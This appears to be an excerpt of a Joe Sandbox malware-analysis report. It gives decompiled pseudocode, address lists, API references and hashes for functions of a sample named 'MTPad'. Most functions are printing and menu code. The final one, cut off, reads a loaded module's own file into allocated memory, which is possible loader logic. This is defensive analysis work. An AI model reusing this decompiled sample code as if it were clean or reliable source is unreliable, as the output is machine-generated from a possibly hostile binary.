											_t207 = E00106254( *(_t291 + 0x52c), _v80, 4);
											_t302 = _t302 + 0xc;
											__eflags = _t207;
											if(_t207 != 0) {
												 *(_t291 + 0x534) = _v80;
												 *(_t291 + 0x52c) = _t207;
												goto L20;
											}
										}
										L23:
										_t197 = SendMessageA( *(_t291 + 0x254), 0x439, 0,  &_v76);
										__eflags = _t197 - _v36 - 0xffffffff;
										if(_t197 - _v36 == 0xffffffff) {
											goto L27;
										} else {
											goto L24;
										}
									} else {
										__eflags = _t278 - _t257 + _t193 * 4;
										if(_t278 < _t257 + _t193 * 4) {
											_push(0x80004005);
											E000F1170(_t278);
											L27:
											__eflags =  *(_t291 + 0x530) - 1;
											E000FCF50( *(_t291 + 0x530) - 1, _t291 + 0x52c);
											_t291 = _v100;
										} else {
											goto L14;
										}
									}
								}
								L28:
								_t270 =  *(_t291 + 0x254);
								SendMessageA( *(_t291 + 0x254), 0x439, 0, 0);
								DeleteDC(_t284);
								_t201 = 1;
								goto L29;
								L24:
								_v36 = _t197;
								__eflags = _t197 - _v120;
							} while (_t197 < _v120);
							goto L28;
						} else {
							_t201 = 0;
						}
						L29:
						 *[fs:0x0] = _v20;
						_pop(_t285);
						_pop(_t293);
						_pop(_t229);
						__eflags = _v28 ^ _t298;
						return E001059E6(_t201, _t229, _v28 ^ _t298, _t270, _t285, _t293);
					} else {
						__eflags = _t162 -  *((intOrPtr*)(_t283 + 0x4fc));
						if(__eflags >= 0) {
							goto L5;
						} else {
							_v64 =  *( *((intOrPtr*)(_t283 + 0x4f8)) + _t162 * 4);
							_t211 = GetDeviceCaps(_t289, 0x70);
							SetViewportOrgEx(_t289,  ~_t211,  ~(GetDeviceCaps(_t289, 0x71)), 0);
							SendMessageA( *(_t283 + 0x220), 0x439, 1,  &_v136);
							SendMessageA( *(_t283 + 0x220), 0x433, 0,  &_v88);
							SendMessageA( *(_t283 + 0x220), 0x439, 0, 0);
							_pop(_t286);
							_pop(_t295);
							_pop(_t232);
							__eflags = _v72 ^ _t301;
							return E001059E6(1, _t232, _v72 ^ _t301,  *(_t283 + 0x220), _t286, _t295);
						}
					}
				} else {
					_pop(_t287);
					_pop(_t296);
					_pop(_t233);
					return E001059E6(0, _t233, _v8 ^ _t301, __edx, _t287, _t296);
				}
			}

0x000f8c36
0x000f8c39
0x000f8c40
0x000f8c44
0x000f8c49
0x000f8c4d
0x000f8c4f
0x000f8c59
0x000f8c7f
0x000f8c88
0x000f8c8c
0x000f8c8e
0x000f8ca4
0x000f8cb9
0x000f8cc4
0x000f8cc8
0x000f8cda
0x000f8cde
0x000f8ce2
0x000f8cee
0x000f8d05
0x000f8d16
0x000f8d35
0x000f8d3b
0x000f8d41
0x000f8d45
0x000f8d4d
0x000f8d51
0x000f8d55
0x000f8d59
0x000f8d5d
0x000f8d61
0x000f8d69
0x000f8d6d
0x000f8d71
0x000f8d75
0x000f8d79
0x000f8d81
0x000f8d89
0x000f8d8b
0x000f8e25
0x000f8e30
0x000f8e36
0x000f8e37
0x000f8e38
0x000f8e39
0x000f8e3a
0x000f8e3b
0x000f8e3c
0x000f8e3d
0x000f8e3e
0x000f8e3f
0x000f8e41
0x000f8e43
0x000f8e45
0x000f8e50
0x000f8e51
0x000f8e54
0x000f8e59
0x000f8e5b
0x000f8e5e
0x000f8e5f
0x000f8e60
0x000f8e61
0x000f8e65
0x000f8e6b
0x000f8e74
0x000f8e83
0x000f8e85
0x000f8e88
0x000f8e8f
0x000f8e91
0x000f8ea8
0x000f8eb0
0x000f8eb3
0x000f8ec5
0x000f8ee5
0x000f8ef4
0x000f8ef6
0x000f8f01
0x000f8f04
0x000f8f15
0x000f8f18
0x000f8f1b
0x000f8f31
0x000f8f3c
0x000f8f4c
0x000f8f60
0x000f8f6d
0x000f8f73
0x000f8f76
0x000f8f79
0x000f8f82
0x000f8f8b
0x000f8f91
0x000f8f94
0x000f8f9d
0x000f8fa0
0x000f8fa3
0x000f8faa
0x000f8fb7
0x000f8fba
0x000f8fc0
0x000f8fc2
0x000f8fc5
0x000f8fca
0x000f8fcd
0x000f8fcd
0x000f8fd9
0x000f8fdf
0x000f8ff0
0x000f8ff0
0x000f8ff6
0x000f8ffc
0x000f905f
0x000f906b
0x000f906e
0x000f9070
0x000f9075
0x000f9075
0x000f9077
0x000f9077
0x000f9077
0x00000000
0x000f8ffe
0x000f8ffe
0x000f9004
0x000f9007
0x000f9009
0x000f9016
0x000f9016
0x000f9018
0x000f9029
0x000f9029
0x000f902b
0x000f902e
0x000f9030
0x000f9035
0x00000000
0x00000000
0x000f9035
0x000f901a
0x000f901a
0x000f9037
0x000f9044
0x000f9049
0x000f904c
0x000f904e
0x000f9053
0x000f9059
0x00000000
0x000f9059
0x000f904e
0x000f907d
0x000f908f
0x000f909a
0x000f909d
0x00000000
0x00000000
0x00000000
0x00000000
0x000f900b
0x000f900e
0x000f9010
0x000f90ad
0x000f90b2
0x000f90b7
0x000f90bd
0x000f90c4
0x000f90c9
0x00000000
0x00000000
0x00000000
0x000f9010
0x000f9009
0x000f90cc
0x000f90cc
0x000f90dc
0x000f90e3
0x000f90e9
0x00000000
0x000f909f
0x000f909f
0x000f90a2
0x000f90a2
0x00000000
0x000f8e93
0x000f8e93
0x000f8e93
0x000f90eb
0x000f90ee
0x000f90f6
0x000f90f7
0x000f90f8
0x000f90fc
0x000f9106
0x000f8d91
0x000f8d91
0x000f8d97
0x00000000
0x000f8d9d
0x000f8da9
0x000f8dad
0x000f8dc7
0x000f8de6
0x000f8dfb
0x000f8e0d
0x000f8e13
0x000f8e14
0x000f8e15
0x000f8e16
0x000f8e22
0x000f8e22
0x000f8d97
0x000f8c5b
0x000f8c5d
0x000f8c5e
0x000f8c5f
0x000f8c6e
0x000f8c6e

APIs

GetDeviceCaps.GDI32(?,0000006F), ref: 000F8C7A
GetDeviceCaps.GDI32(?,0000006E), ref: 000F8C83
GetDeviceCaps.GDI32(?,00000058), ref: 000F8C8C
MulDiv.KERNEL32(?,000005A0,00000000), ref: 000F8C9F
GetDeviceCaps.GDI32(?,0000005A), ref: 000F8CA8
MulDiv.KERNEL32(?,000005A0,00000000), ref: 000F8CB9
MulDiv.KERNEL32(?,000005A0,000003E8), ref: 000F8CE6
MulDiv.KERNEL32(?,000005A0,000003E8), ref: 000F8CFD
MulDiv.KERNEL32(?,000005A0,000003E8), ref: 000F8D14
MulDiv.KERNEL32(?,000005A0,000003E8), ref: 000F8D2B
GetDeviceCaps.GDI32(?,00000070), ref: 000F8DAD
GetDeviceCaps.GDI32(?,00000071), ref: 000F8DB8
SetViewportOrgEx.GDI32(?,00000000,00000000,00000000), ref: 000F8DC7

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CapsDevice$Viewport
String ID:
API String ID: 2488934766-0
Opcode ID: 8c9ad0330357da4393018560cc21f050d35f7dc9a469ad5eed698a3a7b6f4791
Instruction ID: a8ceb79ec72c338a70a19f4c7c91826ad549a28670e6bc54480739f700402174
Opcode Fuzzy Hash: 8c9ad0330357da4393018560cc21f050d35f7dc9a469ad5eed698a3a7b6f4791
Instruction Fuzzy Hash: B5512A70A58344AFD314CF68DD85B5BF7E9BB8C700F008A1EB698D7280D7B4E9408B96

Uniqueness

Uniqueness Score: -1.00%

Function 000FE2D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 228
windowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E000FE2D0(unsigned int __ecx, intOrPtr __edx, signed char _a4, struct HMENU__* _a8, long* _a12) {
				long _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v28;
				char _v136;
				int _v140;
				struct HMENU__* _v144;
				struct HMENU__* _v148;
				intOrPtr _v152;
				long _v156;
				signed int _v160;
				struct tagMENUITEMINFOA _v208;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t86;
				signed int _t87;
				signed int _t93;
				long _t94;
				long _t96;
				long _t97;
				int _t99;
				signed int _t103;
				signed int _t105;
				signed int _t107;
				CHAR* _t109;
				int _t113;
				long _t118;
				long* _t121;
				void* _t122;
				struct HMENU__* _t123;
				CHAR* _t126;
				intOrPtr _t127;
				int _t128;
				signed int _t146;
				intOrPtr _t150;
				void* _t151;
				struct HMENU__* _t152;
				struct HMENU__* _t154;
				void* _t155;
				int _t156;
				signed int _t159;
				signed int _t163;
				intOrPtr _t164;

				_t128 = __ecx;
				_t161 = _t163;
				_push(0xffffffff);
				_push(E0010F2B5);
				_push( *[fs:0x0]);
				_t164 = _t163 - 0xc0;
				_t86 =  *0x159060; // 0x1f9a9bdf
				_t87 = _t86 ^ _t163;
				_v28 = _t87;
				_push(_t87);
				 *[fs:0x0] =  &_v16;
				_v20 = _t164;
				_t154 = _a8;
				_t121 = _a12;
				_t150 = __edx;
				_v152 = __edx;
				if(__ecx >> 0x10 == 0) {
					_t145 =  *((intOrPtr*)(__edx + 0x84));
					_t93 = _t145 >> 0x00000001 & 0x00000001;
					__eflags = _t93;
					if(_t93 != 0) {
						L4:
						__eflags = _t93;
						if(_t93 == 0) {
							__eflags = _t128;
							if(_t128 != 0) {
								L12:
								_t94 = _t128;
							} else {
								__eflags = _t145 & 0x00000010;
								if((_t145 & 0x00000010) != 0) {
									goto L12;
								} else {
									_t94 = SendMessageA( *(_t150 + 4), 0x447, _t128, _t128);
								}
							}
							_t145 =  *(_t150 + 0x74);
							_push(_t94);
							_push(_t154);
							_push(_a4);
							_push( *((intOrPtr*)(_t150 + 0x5c)));
							_push( *(_t150 + 0x74));
						} else {
							__eflags = _t128;
							if(_t128 != 0) {
								L8:
								_t145 = _a4;
								_push(_t128);
								_push(_t154);
								_push(_a4);
								_push( *(_t150 + 4));
								_push( *((intOrPtr*)(_t150 + 0x40)));
							} else {
								__eflags = _t145 & 0x00000010;
								if((_t145 & 0x00000010) != 0) {
									goto L8;
								} else {
									_t118 = SendMessageA( *(_t150 + 4), 0x447, _t128, _t128);
									_t145 = _a4;
									_push(_t118);
									_push(_t154);
									_push(_a4);
									_push( *(_t150 + 4));
									_push( *((intOrPtr*)(_t150 + 0x40)));
								}
							}
						}
						_t96 = CallWindowProcA();
						__eflags =  *(_t150 + 0x84) & 0x00000004;
						_v156 = _t96;
						if(( *(_t150 + 0x84) & 0x00000004) == 0) {
							L39:
							_t97 = _v156;
							goto L40;
						} else {
							_t123 = _t154;
							_v144 = _t123;
							_t156 = 0;
							__eflags = 0;
							_v8 = 0;
							while(1) {
								_v140 = _t156;
								_t99 = GetMenuItemCount(_t123);
								__eflags = _t156 - _t99;
								if(_t156 >= _t99) {
									break;
								}
								E00106820( &_v208, 0, 0x30);
								_t164 = _t164 + 0xc;
								_v208.cbSize = 0x30;
								_t103 = E000F4890(_t123, _t150, _t156);
								__eflags = _t103;
								if(_t103 != 0) {
									_v208.cbSize = 0x2c;
								}
								_t145 =  &_v208;
								_v208.cch = 0x64;
								_v208.fMask = 0x3f;
								_v208.dwTypeData =  &_v136;
								GetMenuItemInfoA(_t123, _t156, 1,  &_v208);
								__eflags = _v208.fType & 0x00000100;
								if(__eflags != 0) {
									L37:
									_t156 = _v140 + 1;
									continue;
								} else {
									_push(0x14);
									_v208.fMask = 0x31;
									_v8 = 1;
									_t105 = E001065FC( &_v208, _t150, _t156, __eflags);
									_t164 = _t164 + 4;
									__eflags = _t105;
									if(_t105 == 0) {
										_t159 = 0;
										__eflags = 0;
										_v160 = 0;
									} else {
										 *_t105 = 0x1313;
										_t159 = _t105;
										_v160 = _t105;
									}
									_v8 = 0;
									__eflags = _t159;
									if(_t159 == 0) {
										goto L37;
									} else {
										 *((intOrPtr*)(_t159 + 8)) = _v208.fType;
										 *((intOrPtr*)(_t159 + 0xc)) = _v208.fState;
										_v208.fType = _v208.fType | 0x00000100;
										 *(_t159 + 0x10) = 0xffffffff;
										_t146 =  *(_t150 + 0x50);
										_t107 = 0;
										__eflags = _t146;
										if(__eflags <= 0) {
											L30:
											_t61 = lstrlenA( &_v136) + 1; // 0x1
											_t152 = _t61;
											_push(_t152);
											_v148 = _t152;
											 *(_t159 + 4) = 0;
											_v8 = 3;
											_t109 = E00105DD7( &_v136, _t152, _t159, __eflags);
											_t164 = _t164 + 4;
											 *(_t159 + 4) = _t109;
											_v8 = 0;
											_t126 =  *(_t159 + 4);
											__eflags = _t126;
											if(_t126 != 0) {
												_t113 = lstrlenA( &_v136);
												__eflags = _t152 - _t113;
												if(_t152 > _t113) {
													lstrcpyA(_t126,  &_v136);
												}
											}
											_t145 =  &_v208;
											_v208.dwItemData = _t159;
											SetMenuItemInfoA(_v144, _v140, 1,  &_v208);
											_t123 = _v144;
											_t150 = _v152;
											goto L37;
										} else {
											_t127 = _v208.wID;
											while(1) {
												__eflags = _t107;
												if(_t107 < 0) {
													break;
												}
												__eflags = _t107 - _t146;
												if(_t107 >= _t146) {
													break;
												} else {
													__eflags = ( *( *((intOrPtr*)(_t150 + 0x4c)) + _t107 * 2) & 0x0000ffff) - _t127;
													if(__eflags == 0) {
														 *(_t159 + 0x10) = _t107;
														goto L30;
													} else {
														_t107 = _t107 + 1;
														__eflags = _t107 - _t146;
														if(__eflags < 0) {
															continue;
														} else {
															goto L30;
														}
													}
												}
												goto L41;
											}
											RaiseException(0xc000008c, 1, 0, 0);
											_v8 = 0;
											return E000FE542;
										}
									}
								}
								goto L41;
							}
							_v148 = _t123;
							E00101C50( &_v148, _t150 + 0x14);
							goto L39;
						}
					} else {
						__eflags = _t145 & 0x00000001;
						if((_t145 & 0x00000001) == 0) {
							goto L1;
						} else {
							goto L4;
						}
					}
				} else {
					L1:
					 *_t121 = 0;
					_t97 = 1;
					L40:
					 *[fs:0x0] = _v16;
					_pop(_t151);
					_pop(_t155);
					_pop(_t122);
					return E001059E6(_t97, _t122, _v28 ^ _t161, _t145, _t151, _t155);
				}
				L41:
			}

0x000fe2d0
0x000fe2d1
0x000fe2d3
0x000fe2d5
0x000fe2e0
0x000fe2e1
0x000fe2e7
0x000fe2ec
0x000fe2ee
0x000fe2f4
0x000fe2f8
0x000fe2fe
0x000fe301
0x000fe304
0x000fe30c
0x000fe30e
0x000fe316
0x000fe328
0x000fe332
0x000fe332
0x000fe334
0x000fe33b
0x000fe33b
0x000fe33d
0x000fe37b
0x000fe37d
0x000fe397
0x000fe397
0x000fe37f
0x000fe37f
0x000fe382
0x00000000
0x000fe384
0x000fe38f
0x000fe38f
0x000fe382
0x000fe39c
0x000fe39f
0x000fe3a3
0x000fe3a4
0x000fe3a5
0x000fe3a6
0x000fe33f
0x000fe33f
0x000fe341
0x000fe369
0x000fe369
0x000fe371
0x000fe375
0x000fe376
0x000fe377
0x000fe378
0x000fe343
0x000fe343
0x000fe346
0x00000000
0x000fe348
0x000fe353
0x000fe359
0x000fe35f
0x000fe363
0x000fe364
0x000fe365
0x000fe366
0x000fe366
0x000fe346
0x000fe341
0x000fe3a7
0x000fe3ad
0x000fe3b4
0x000fe3ba
0x000fe5c3
0x000fe5c3
0x00000000
0x000fe3c0
0x000fe3c0
0x000fe3c2
0x000fe3c8
0x000fe3c8
0x000fe3ca
0x000fe3cd
0x000fe3ce
0x000fe3d4
0x000fe3da
0x000fe3dc
0x00000000
0x00000000
0x000fe3ed
0x000fe3f2
0x000fe3f5
0x000fe3ff
0x000fe404
0x000fe406
0x000fe408
0x000fe408
0x000fe412
0x000fe423
0x000fe42d
0x000fe437
0x000fe43d
0x000fe443
0x000fe44d
0x000fe5a3
0x000fe5a9
0x00000000
0x000fe453
0x000fe453
0x000fe455
0x000fe45f
0x000fe463
0x000fe468
0x000fe46b
0x000fe46d
0x000fe47f
0x000fe47f
0x000fe481
0x000fe46f
0x000fe46f
0x000fe475
0x000fe477
0x000fe477
0x000fe487
0x000fe48e
0x000fe490
0x00000000
0x000fe496
0x000fe49c
0x000fe4a5
0x000fe4a8
0x000fe4b2
0x000fe4b9
0x000fe4bc
0x000fe4be
0x000fe4c0
0x000fe4e2
0x000fe4ef
0x000fe4ef
0x000fe4f4
0x000fe4f5
0x000fe4fb
0x000fe4fe
0x000fe502
0x000fe507
0x000fe50a
0x000fe50d
0x000fe54e
0x000fe551
0x000fe553
0x000fe55c
0x000fe562
0x000fe564
0x000fe56e
0x000fe56e
0x000fe564
0x000fe580
0x000fe58b
0x000fe591
0x000fe597
0x000fe59d
0x00000000
0x000fe4c2
0x000fe4c2
0x000fe4c8
0x000fe4c8
0x000fe4ca
0x00000000
0x00000000
0x000fe4cc
0x000fe4ce
0x00000000
0x000fe4d0
0x000fe4d9
0x000fe4db
0x000fe51f
0x00000000
0x000fe4dd
0x000fe4dd
0x000fe4de
0x000fe4e0
0x00000000
0x00000000
0x00000000
0x00000000
0x000fe4e0
0x000fe4db
0x00000000
0x000fe4ce
0x000fe52f
0x000fe535
0x000fe541
0x000fe541
0x000fe4c0
0x000fe490
0x00000000
0x000fe44d
0x000fe5af
0x000fe5be
0x00000000
0x000fe5be
0x000fe336
0x000fe336
0x000fe339
0x00000000
0x00000000
0x00000000
0x00000000
0x000fe339
0x000fe318
0x000fe318
0x000fe318
0x000fe31e
0x000fe5c9
0x000fe5cc
0x000fe5d4
0x000fe5d5
0x000fe5d6
0x000fe5e4
0x000fe5e4
0x00000000

APIs

SendMessageA.USER32(?,00000447,?,?), ref: 000FE353
CallWindowProcA.USER32 ref: 000FE3A7
GetMenuItemCount.USER32 ref: 000FE3D4
_memset.LIBCMT ref: 000FE3ED
GetMenuItemInfoA.USER32 ref: 000FE43D

Strings

1, xrefs: 000FE455
,, xrefs: 000FE408
d, xrefs: 000FE423

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ItemMenu$CallCountInfoMessageProcSendWindow_memset
String ID: ,$1$d
API String ID: 3483846687-1943914033
Opcode ID: ad6b371fc69b29cca03a1db630f8ca8107023c853cefb6bbdcf01cbbf5e7542e
Instruction ID: 2de586cf72766c9a7004449c3f83c9ab74789e4e493d502be6a5d9be1b012143
Opcode Fuzzy Hash: ad6b371fc69b29cca03a1db630f8ca8107023c853cefb6bbdcf01cbbf5e7542e
Instruction Fuzzy Hash: 2191B5B0901659EFEB24CF14CD84FAEB7B5FB48704F008199EA4997690D774AE84DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 000F9110 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 200
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E000F9110(intOrPtr __ecx, struct HWND__* __edx, void* __eflags) {
				char _v8;
				char _v16;
				void* _v20;
				char _v92;
				intOrPtr* _v96;
				intOrPtr _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v128;
				char _v132;
				short _v144;
				signed int _v148;
				signed int _v180;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t87;
				char* _t94;
				void* _t97;
				void* _t105;
				signed int _t109;
				void* _t112;
				unsigned int _t116;
				signed int* _t136;
				signed int _t138;
				intOrPtr _t156;
				void* _t177;
				signed int* _t178;
				intOrPtr _t184;
				signed int _t188;

				_push(0xffffffff);
				_push(E0010FB73);
				_push( *[fs:0x0]);
				_t87 =  *0x159060; // 0x1f9a9bdf
				_push(_t87 ^ _t188);
				 *[fs:0x0] =  &_v16;
				_t184 = __ecx;
				if(E000F8E40(__edx, __ecx) != 0) {
					_v128 = 0;
					_v112 = 0;
					_v108 = 0;
					_v104 = 0;
					_v100 = DefWindowProcA;
					_v96 =  &_v92;
					E00106820( &_v92, 0, 0x42);
					 *_v96 = 0x42;
					 *((intOrPtr*)(_v96 + 4)) = 0;
					 *(_v96 + 0x14) = 0x4300c;
					_t94 =  &M000F56C0;
					 *((intOrPtr*)(_v96 + 0x2a)) = _t94;
					 *((intOrPtr*)(_v96 + 0x2e)) = _t94;
					 *(_v96 + 0x14) =  *(_v96 + 0x14) | 0x00000100;
					 *(_v96 + 0x14) =  *(_v96 + 0x14) & 0xfffffdff;
					_v132 = 0x112d7c;
					_t136 = _t184 + 0x4bc;
					_v8 = 0;
					__eflags =  *_t136;
					if( *_t136 == 0) {
						L6:
						_t97 = 0;
						__eflags = 0;
					} else {
						__eflags = _t136[1];
						if(_t136[1] == 0) {
							goto L6;
						} else {
							_t127 = _t136[1];
							_t181 = ( *(_t136[1] + 0x26) & 0x0000ffff) + ( *(_t127 + 0x24) & 0x0000ffff);
							_t97 = GlobalAlloc(2, ( *(_t136[1] + 0x26) & 0x0000ffff) + ( *(_t127 + 0x24) & 0x0000ffff));
							_v20 = _t97;
							__eflags = _t97;
							if(__eflags != 0) {
								E001096A0(GlobalLock(_t97), _t136[1], _t181);
								GlobalUnlock(_v20);
								_t97 = _v20;
							}
						}
					}
					 *(_v96 + 8) = _t97;
					 *(_v96 + 0xc) = E000FC710(_t184 + 0x4b8, __eflags);
					 *((short*)(_v96 + 0x1c)) = 1;
					 *((short*)(_v96 + 0x1e)) =  *((intOrPtr*)(_t184 + 0x530));
					 *((short*)(_v96 + 0x18)) = 1;
					 *((short*)(_v96 + 0x1a)) =  *((intOrPtr*)(_t184 + 0x530));
					 *(_v96 + 0x14) =  *(_v96 + 0x14) & 0xfffffff7;
					_t105 = E000FAF50(GetActiveWindow(),  &_v132, _t184);
					__eflags = _t105 - 1;
					if(_t105 == 1) {
						_t177 =  *(_v96 + 8);
						__eflags = _t177;
						if(_t177 != 0) {
							E000FFE10(GlobalLock(_t177), _t136);
							GlobalUnlock(_t177);
						}
						_t112 =  *(_t184 + 0x4b8);
						_t178 = _t184 + 0x4b8;
						__eflags = _t112;
						if(_t112 != 0) {
							ClosePrinter(_t112);
							 *_t178 = 0;
						}
						E000FC5D0( *((intOrPtr*)(_t184 + 0x4c0)), _t178,  *(_v96 + 0xc));
						_t138 = 0;
						_v180 = 0;
						_v148 = 0;
						_v144 = 0x100;
						_v8 = 1;
						_t156 = _v96;
						_t116 =  *(_t156 + 0x14);
						_t171 =  *((intOrPtr*)(_t184 + 0x530)) - 1;
						__eflags = _t116 & 0x00000002;
						if((_t116 & 0x00000002) != 0) {
							_t138 = ( *(_t156 + 0x18) & 0x0000ffff) - 1;
							_t171 = ( *(_t156 + 0x1a) & 0x0000ffff) - 1;
							__eflags = ( *(_t156 + 0x1a) & 0x0000ffff) - 1;
						}
						E000F6510( &_v180, _t184 + 0x34, _t171,  *_t178,  *((intOrPtr*)(_t184 + 0x4c0)), _t138, _t116 >> 0x00000005 & 1);
						__eflags = _v180;
						if(_v180 != 0) {
							_v180 = 0;
						}
					}
					GlobalFree( *(_v96 + 8));
					GlobalFree( *(_v96 + 0xc));
					_v8 = 0xffffffff;
					_t109 = _v112;
					__eflags = _t109;
					if(_t109 != 0) {
						E00105701(_t109);
					}
					__eflags = 0;
					 *[fs:0x0] = _v16;
					return 0;
				} else {
					MessageBoxA( *(_t184 + 4), "Print operation failed", "MTPad", 0x10);
					 *[fs:0x0] = _v16;
					return 0;
				}
			}

0x000f9113
0x000f9115
0x000f9120
0x000f912a
0x000f9131
0x000f9135
0x000f913b
0x000f9145
0x000f9182
0x000f9185
0x000f9188
0x000f918b
0x000f918e
0x000f9191
0x000f9194
0x000f919c
0x000f91a5
0x000f91ab
0x000f91b5
0x000f91ba
0x000f91c0
0x000f91c6
0x000f91d0
0x000f91da
0x000f91e1
0x000f91e7
0x000f91ea
0x000f91ec
0x000f9234
0x000f9234
0x000f9234
0x000f91ee
0x000f91ee
0x000f91f1
0x00000000
0x000f91f3
0x000f91f3
0x000f91fe
0x000f9203
0x000f9209
0x000f920c
0x000f920e
0x000f921d
0x000f9229
0x000f922f
0x000f922f
0x000f920e
0x000f91f1
0x000f923f
0x000f924a
0x000f9255
0x000f9262
0x000f9269
0x000f9276
0x000f927d
0x000f928c
0x000f9291
0x000f9294
0x000f929d
0x000f92a0
0x000f92a2
0x000f92ae
0x000f92b4
0x000f92b4
0x000f92ba
0x000f92c0
0x000f92c6
0x000f92c8
0x000f92cb
0x000f92d1
0x000f92d1
0x000f92e4
0x000f92e9
0x000f92eb
0x000f92f1
0x000f92f7
0x000f9300
0x000f9304
0x000f930d
0x000f9310
0x000f9311
0x000f9313
0x000f931d
0x000f931e
0x000f931e
0x000f931e
0x000f933c
0x000f9341
0x000f9348
0x000f934a
0x000f934a
0x000f9348
0x000f9361
0x000f936a
0x000f936c
0x000f9373
0x000f9376
0x000f9378
0x000f937b
0x000f937b
0x000f9380
0x000f9385
0x000f9393
0x000f9147
0x000f9157
0x000f9162
0x000f9170
0x000f9170

APIs

MessageBoxA.USER32 ref: 000F9157
_memset.LIBCMT ref: 000F9194
GlobalAlloc.KERNEL32(00000002,?,?,?,?), ref: 000F9203
GlobalLock.KERNEL32 ref: 000F9211
_memmove.LIBCMT ref: 000F921D
GlobalUnlock.KERNEL32(?,?,?,?,?,?,?), ref: 000F9229
GetActiveWindow.USER32 ref: 000F9281
GlobalLock.KERNEL32 ref: 000F92A5
GlobalUnlock.KERNEL32(?,?,?,?,?), ref: 000F92B4

Strings

Print operation failed, xrefs: 000F9151
MTPad, xrefs: 000F914C

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Global$LockUnlock$ActiveAllocMessageWindow_memmove_memset
String ID: MTPad$Print operation failed
API String ID: 3143621014-2011953037
Opcode ID: db18722e3da334b2c4452fe1ebf39822324b3a9c0f8d917e135327464abc46ee
Instruction ID: 198ed76694d64ee49fdfe8955bbbe40260c0047f99a2c44aab2c80fe7b45ff8e
Opcode Fuzzy Hash: db18722e3da334b2c4452fe1ebf39822324b3a9c0f8d917e135327464abc46ee
Instruction Fuzzy Hash: C9815875E00208DFCB54CFA8D884AAAF7F8FF88300F10865AE9199B791D775E945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 040035E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 184
stringfilememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040035E0(CHAR* _a4, intOrPtr _a8) {
				long _v8;
				struct HINSTANCE__* _v12;
				char _v532;
				void* _v536;
				long _v540;
				void* _v544;
				long _v548;
				CHAR* _v552;
				void* _v556;
				int _v560;
				char _v820;
				CHAR* _v824;
				char _v1084;
				signed char _v1085;
				long _v1092;
				intOrPtr _v1096;
				long _t124;

				_v8 = 0;
				_v12 = GetModuleHandleA(_a4);
				if(_v12 != 0) {
					E04002E50( &_v532,  &_v532, 0, 0x208);
					if(GetModuleFileNameA(_v12,  &_v532, 0x207) > 0) {
						_v536 = CreateFileA( &_v532, 0x80000000, 7, 0, 3, 0, 0);
						if(_v536 != 0xffffffff) {
							_v540 = GetFileSize(_v536, 0);
							if(_v540 > 0) {
								_v544 = VirtualAlloc(0, _v540, 0x3000, 4);
								_t155 = _v544;
								if(_v544 != 0) {
									_v548 = 0;
									ReadFile(_v536, _v544, _v540,  &_v548, 0);
									_v556 = E04003370(_v536, _t155, _v544, _v540);
									_v552 = E04003580(_a8, _v556, _a8);
									_v560 = lstrlenA(_v552);
									if(_v560 > 2 && _v560 < 0x100) {
										_v824 = _v552;
										_v1085 = 0;
										E04002E50(_v552,  &_v820, 0, 0x100);
										E04002E50(_v552,  &_v1084, 0, 0x100);
										_v1092 = 0;
										while(_v1092 < _v560) {
